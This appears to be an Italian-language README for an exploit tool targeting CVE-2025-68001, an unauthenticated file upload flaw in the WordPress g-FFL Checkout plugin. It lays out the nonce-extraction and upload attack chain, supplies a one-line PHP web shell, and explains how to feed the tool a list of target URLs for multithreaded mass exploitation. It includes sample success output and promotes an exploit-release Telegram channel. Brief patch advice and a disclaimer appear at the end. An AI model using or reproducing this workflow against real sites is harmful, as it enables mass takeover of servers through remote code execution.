
WordPress g-FFL Checkout Plugin <= 2.1.0 è vulnerabile a un caricamento arbitrario di file ad alta priorità
Il plugin WordPress g-FFL Checkout <= 2.1.0 è vulnerabile a un Arbitrary File Upload ad alta priorità
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 Resta un passo avanti. Unisciti a @KNxploited su Telegram — la tua fonte esclusiva per le ultime CVE, zero-day e ricerca exploit all'avanguardia. Aggiornato costantemente. Non per tutti.
CVE-2025-68001 è una vulnerabilità critica di Unauthenticated Arbitrary File Upload (caricamento arbitrario di file senza autenticazione) scoperta nel plugin WordPress g-FFL Checkout di garidium.
La vulnerabilità consente a un attaccante remoto non autenticato di caricare file arbitrari — inclusi web shell — sul server di destinazione tramite l'azione AJAX ffl_upload_document, portando a completa Remote Code Execution (RCE).
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2025-68001 |
| Plugin | g-FFL Checkout (g-ffl-checkout) |
| Versioni interessate | n/a fino a <= 2.1.0 |
| Tipo di vulnerabilità | Caricamento file senza restrizioni |
| Impatto | Remote Code Execution (RCE) |
| Autenticazione | Non richiesta |
| Gravità CVSS | Critica |
| Ricercatore | Nxploited |
L'exploit segue una precisa catena d'attacco multi-step:
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disguised as image/png>
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
Il plugin espone un endpoint AJAX ffl_upload_document che:
Installa tutte le dipendenze prima di eseguire:
pip install requests rich
| Dipendenza | Scopo |
|---|---|
requests | Richieste HTTP e gestione delle sessioni |
rich | Interfaccia terminale, barre di avanzamento, pannelli |
threading | Elaborazione multi-thread dei target |
È richiesto Python 3.8+.
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
Crea un file list.txt con un URL target per riga:
https://target1.com
https://target2.com
http://target3.com/wordpress
Lo script antepone automaticamente
http://se non viene fornito uno schema.
Posiziona la tua web shell PHP nella stessa directory. Esempio di shell minimale:
<?php system($_GET['cmd']); ?>
Salvala come shell.php (o con qualsiasi nome — ti verrà chiesto di inserirlo).
python CVE-2025-68001.py
Ti verrà chiesto in modo interattivo:
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
Gli exploit riusciti vengono salvati automaticamente in success_results.txt:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
Ogni riga contiene:
| Prompt | Default | Descrizione |
|---|---|---|
| File dei target | list.txt | File contenente gli URL dei target |
| File della shell | shell.php | Shell PHP da caricare sul target |
| Numero di thread | 50 | Worker concorrenti (max: 50) |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
La vulnerabilità risiede nel gestore AJAX del plugin registrato senza controlli di capacità:
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
Se sei un proprietario di sito o sviluppatore, adotta immediatamente i seguenti passaggi:
g-ffl-checkout a una versione patchata (> 2.1.0) se disponibile.htaccess).php sospettiTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.
Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
— Computer Fraud and Abuse Act (CFAA)
— EU Directive on Attacks Against Information Systems
— And equivalent laws in your jurisdiction.
USE RESPONSIBLY. HACK ETHICALLY.
| Username | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Segui @KNxploited su Telegram per ricevere le ultime divulgazioni di vulnerabilità, release di exploit e ricerche sulla sicurezza — prima di chiunque altro.